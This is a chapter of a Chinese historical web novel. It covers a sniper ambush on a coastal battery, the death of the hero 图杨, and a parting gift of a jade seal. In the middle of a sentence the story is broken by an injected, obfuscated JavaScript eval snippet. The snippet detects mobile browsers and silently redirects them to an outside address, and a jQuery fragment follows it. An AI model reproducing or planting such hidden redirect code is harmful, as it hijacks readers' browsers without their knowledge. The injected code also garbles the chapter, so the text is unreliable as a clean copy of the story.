决战之日,第一次单独由轼衡和宝忠一起,护着戎昕爬上了闾海卫炮台的后山。
这条山路戎昕已走过好多遍,虽每次都从不同路径攀登,但走得多了,雪地里早已遍布深浅不一的足迹。踩着先前踩出的雪窝前行,三人省力不少。
轼衡用枯树枝做拐杖,以防脚滑跌倒,一路走一路忍不住感叹,“戎昕,这雪好深,天真冷,这些日子,辛苦你了。”
“嗯。”戎昕满脑子都在谋算如何提高精准度,毫不在意地应了一声。
没得到理想回答的轼衡接着说,“一直是图杨一个陪你爬上去吗?”
“对,这里他最熟悉,交给别人他也不放心。”
“那……你们都聊什么?”
“拆解他家祖传的剑谱。”提起这个,戎昕不满地看了轼衡一眼,“图杨教得可认真了。”
“你这意思是我教的不认真?”轼衡苦笑。
“你没想把我教会。”
“因为我会保护你。你一个姑娘家,不需要那么辛苦。”
“……”戎昕瞪了轼衡一眼,“不要瞧不起女人!”
“怎么是瞧不起呢?是在乎,是怜惜,是保护!”轼衡为自己辩解。
“衡公子,你觉得在乎一个人,尤其是女人,就是把她关在金丝笼里吗?”戎昕问得认真。
“衣食无忧是金丝笼?不算吧?”
“可你看中一个男人,会如何做呢?比如宝忠?”戎昕朝着宝忠抬了抬下巴。
“……”
“……”
宝忠与轼衡不明所以地对视。
戎昕也没想得到回答,自己说了下去,“你会教他习武强身,教他明辨是非,带他闯荡江湖——每一步都在助他成长,盼他强大。女人不配得到这些吗?为什么呢?”
“这个……”轼衡从没考虑过这一点,只好用现成的话遮掩,“自古女子无才便是德!”
“就是这些鬼话,害了多少女人!”戎昕不屑一顾地冷哼。
这恰是轼衡与图杨最本质的不同。
图杨对戎昕的每句话、每个请求都认真聆听,即使他不懂,也会郑重其事地放在心上。
比如习武之事,图杨能毫无保留地拿出传家剑谱,无条件地相信戎昕定能学有所成,完成自己的理想。
这份质朴的支持,是将戎昕视作独立个体的尊重。
轼衡却总在传授时有所保留——并非嫌弃戎昕笨拙,只是坚信有自己的羽翼可以庇护她,她大可不必吃这份苦。
轼衡执着于将戎昕纳入自己的掌控疆域,无论是红颜知己或是左膀右臂,都是与自身密不可分的附庸。
言语间,三人到达了埋伏点。
寒风刺骨,狙击手必须牢牢钉在指定位置,伺机而动。
照往常,欧军最高将领和副将会在巳时到炮台上巡视。
但今天已经过了午时,欧军将领迟迟没有露面。
“那洋鬼子今天不上来吗?”宝忠有点焦躁。
戎昕倒是沉得住气,“再等等吧,他晚点出现,天黑一点,对下边发动进攻的将士有利。”
“只要他们没得到我们的伏击消息就好。”轼衡一改往日玩笑的态度,严肃说道。
“你是说我们的计划会泄露?!”戎昕一惊。
“我们购置军火又调兵遣将,真被发现了,也不奇怪。”轼衡又笑了笑,抬手帮戎昕擦了下头发上的冰霜,“戎昕,防人之心不可无!”
“……”戎昕认真想了想,点了点头,但看到轼衡那张不慌不忙的笑脸,又忍不住怼道,“公子是不是最爱吃莲藕?”
“莲藕??”宝忠不解。
“这是骂我呢,心眼儿多。”轼衡听出了戎昕的言外之意,反倒笑得更深了,“戎昕,放松一点,越是紧张的时候,越要放松,才能一击即中,不辱使命。”
“……”戎昕嘟了嘟嘴巴,又点了点头。
不得不说,轼衡这人,虽然平时油嘴滑舌,但办起正事来确实老辣又沉稳。
又过了约莫一炷香的功夫,欧军主将与副将一前一后走上了炮台。
轼衡和宝忠对视一下,屏住了呼吸。
戎昕的耳边只剩下风声,屏息凝神,瞄准镜十字线悄悄锁定目标,指尖轻叩扳机——子弹破膛而出,主将应声栽倒。
欧军尚未从骤然的枪响中回过神来,戎昕已迅速调整枪口,趁着副将慌忙俯身查看的瞬间补射一枪,第二道血花在积雪上绽放。
另一侧山坳里的图杨已经用望远镜将狙击全程尽收眼底,他猛地扯动引线,三股狼烟带着火星冲上半空,在灰蓝的天幕上发出进攻的号令。
“快!我们下山。”轼衡接过戎昕手里的枪,拽着她的手腕急速撤出了伏击点。
一路上只听得枪炮声和冲锋号如平地惊雷,此起彼伏在冻土荒原上交响回荡。
装备了新式步枪的大昭朝士兵呈楔形阵推进,远征镖局的高手则如鬼魅般穿梭于敌阵,他们用起枪来更加顺手,精准击溃敌军阵地架着的炮筒。
欧军来不及做出反应,尚未完成填装,已被撕开数道口子,前排士兵成片倒下,后续阵型瞬间溃散,战场以压倒性优势迅速落入我方掌控。
戎昕和轼衡赶下山,来到炮台上之时,图杨已经率队缴了欧军的械。
这次大捷,确实让人意外。
将士们甚至愣了愣,脸上才浮现出胜利的微笑,人群才爆发出胜利的欢呼!
而残余的危险就在这一刻启动——
欧军的漏网之鱼,拼死打出了最后一枪。
“危险!!!”
图杨飞身扑到轼衡背后,为他挡住了这一枪。
“!!!”
“?!”
电光火石间,图杨已经捂着胸口倒下了。
轼衡不敢置信地回过神,只见温热的鲜血从图杨胸口汩汩流出,怎么也止不住。
戎昕几步赶到,也扶不住图杨摇摇欲坠的身体。他本强壮温暖的躯体,正渐渐变得冰凉……
图杨艰难吞吐着残存的气息,看着轼衡悲伤的脸,笑着说完了最后一句话——
“衡公子,谢谢您帮图杨夺回闾海卫,我可以去见列祖列宗了。日后您定要保护闾海卫的百姓,保卫我大昭朝的江山……”
年轻的英雄就这样在最光荣的时刻,猝不及防地离开了。
戎昕双手沾满鲜血,呆呆地跪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284065|198410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在青砖地上,无声无息地泪流满面。
她已经记不清那天是怎么离开闾海卫了……
澜园。
青棠端着一小碗燕窝粥,眼泪汪汪地走到轼衡身边,“公子喝一口吧,您要是熬倒了,谁来劝戎姑娘呢?”
轼衡望着躺在床上,高烧不退的戎昕,一声长叹,“壮志未酬身先死,长使英雄泪满襟。”
“未捷?闾海卫大捷啊!”青棠鼓了鼓勇气,“公子,图大人是闾海卫的大英雄,他在天上看到闾海卫百姓可以回到家园,安居乐业,会很高兴的。”
“当然,以图杨的为人,他会认为死得其所。可我们不能。”轼衡皱眉长叹,“青棠,我很遗憾,很难过,这么好的青年,还没来得及建功立业,就这么死了,他死得冤!”
“公子,这个青棠明白,闾海卫的百姓都明白,大家都一样难过。”青棠又抹了抹眼泪。
轼衡确认了下戎昕未醒来,又问道,“密函送回京了吗?”
“秦大人亲自封好,宝忠派人去送了。”青棠非常认证地点头。
轼衡秘密修书,给了图杨极大的哀荣,破例封为辅国公。
圣旨传到闾海卫的那一天,戎昕还在澜园养病,她在纸上写道,“生当作人杰,死亦为鬼雄。”
轼衡终于是忍不住,酸溜溜地问道,“戎昕,你很喜欢图杨,是吗?”
“对!”戎昕很诚实地点头,“他认真听我说话,用心教我武功,用最朴实的方式,给了我最大的支持。”
“……”轼衡一声长叹,“戎昕,我得回京陪爹娘过年。”
“!”戎昕这才想起来,马上要过新年了,下意识追问,“还回来吗?”
轼衡笑了笑,“你还在意我的去留啊?真是受宠若惊。”
“……”戎昕低下头,眼泪一滴一滴落在面前的宣纸上,晕开还未风干的墨痕。
“大约过了元宵,我就回来。”轼衡走到戎昕身边,扶住她的肩膀,然后从怀里掏出一个印章,“这个,送你。”
“翡翠印章?”戎昕拿到眼前,细细端详。
这枚印章约莫二根拇指大小,通体碧绿通透,质地温润。印身上刻着的神兽是白泽,鳞爪分明,鬃毛飘逸,栩栩如生。
传说黄帝在东巡至海边时,遇到了神兽白泽。
白泽为狮身羊须、头生一角、长有翅膀;讲人语,通晓天下所有鬼怪精魅的名称、形貌和驱除之法;象征智慧、知识和驱邪。
“戎昕”二字以小篆刻在印面。
“白泽?”此刻戎昕还不知道,这个白泽图案是睿亲王府上清客设计的,四面展开的话,可以构成一个“睿”字,可用作秘密联络的暗号。
“白泽。”轼衡笑着点点头,明知有些话不该说,却还是忍不住为自己争辩了一句,“戎昕,你觉得衡轼不及图杨真挚?其实只是有些话,我暂时不能讲透,但我没有骗过你。”
“……”戎昕擦了擦眼泪,“谢谢你的礼物,早去早回。”
轼衡点点头,又说澜园留给大家伙儿过年,已经备好了许多年货,还有很多烟花。
看到戎昕的波澜不惊,迎海忍不住问,“衡公子没有邀你一起回京吗?”